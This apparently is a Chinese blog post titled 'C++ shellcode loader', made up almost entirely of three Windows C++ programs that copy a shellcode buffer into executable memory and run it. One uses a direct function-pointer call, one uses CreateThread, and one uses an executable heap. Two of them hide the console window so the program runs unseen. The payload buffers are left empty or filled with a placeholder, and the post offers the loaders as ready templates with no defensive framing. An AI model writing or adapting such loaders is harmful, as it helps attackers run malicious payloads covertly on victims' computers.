c++之shellcode加载器

VirtualAlloc申请内存

#include <windows.h>
#include <iostream>
#include <time.h>
#pragma comment (lib, "winmm.lib")

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")
void startShellCode()
{
 unsigned char buf[] = "";

 void* exec = VirtualAlloc(0, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
 memcpy(exec, buf, sizeof(buf));
 ((void(*)())exec)();
}

void main() {
 startShellCode();
}
#include<windows.h>

int main()
{
	int shellcode_size = 0;
	DWORD dwThreadId;
	HANDLE hThread;
	DWORD dw01dRrotect;

	unsigned char buf[] = "";
	shellcode_size = sizeof(buf);

	LPVOID shellcode = VirtualAlloc(
		NULL,
		shellcode_size,
		MEM_COMMIT,
		PAGE_EXECUTE_READWRITE
	);

	//将shellcode复制到可读可写的内存中
	CopyMemory(shellcode, buf, shellcode_size);

	hThread = CreateThread(
		NULL,	//安全描述符
		NULL,	//栈的大小
		(LPTHREAD_START_ROUTINE)shellcode,//函数
		NULL,	//参数
		NULL,	//线程标志
		&dwThreadId
	);

	WaitForSingleObject(hThread, INFINITE);	//一直等待线程结束
}

#include<Windows.h>
#pragma comment(linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"")//隐藏dos黑窗口

int main(void) {
	unsigned char buf[] = "shellcode";

	//创建一个堆
	HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
	//从堆上分配一块内存
	void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
	memcpy(exec, buf, sizeof(buf));

	((void(*)())exec)();
	return 0;
}
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值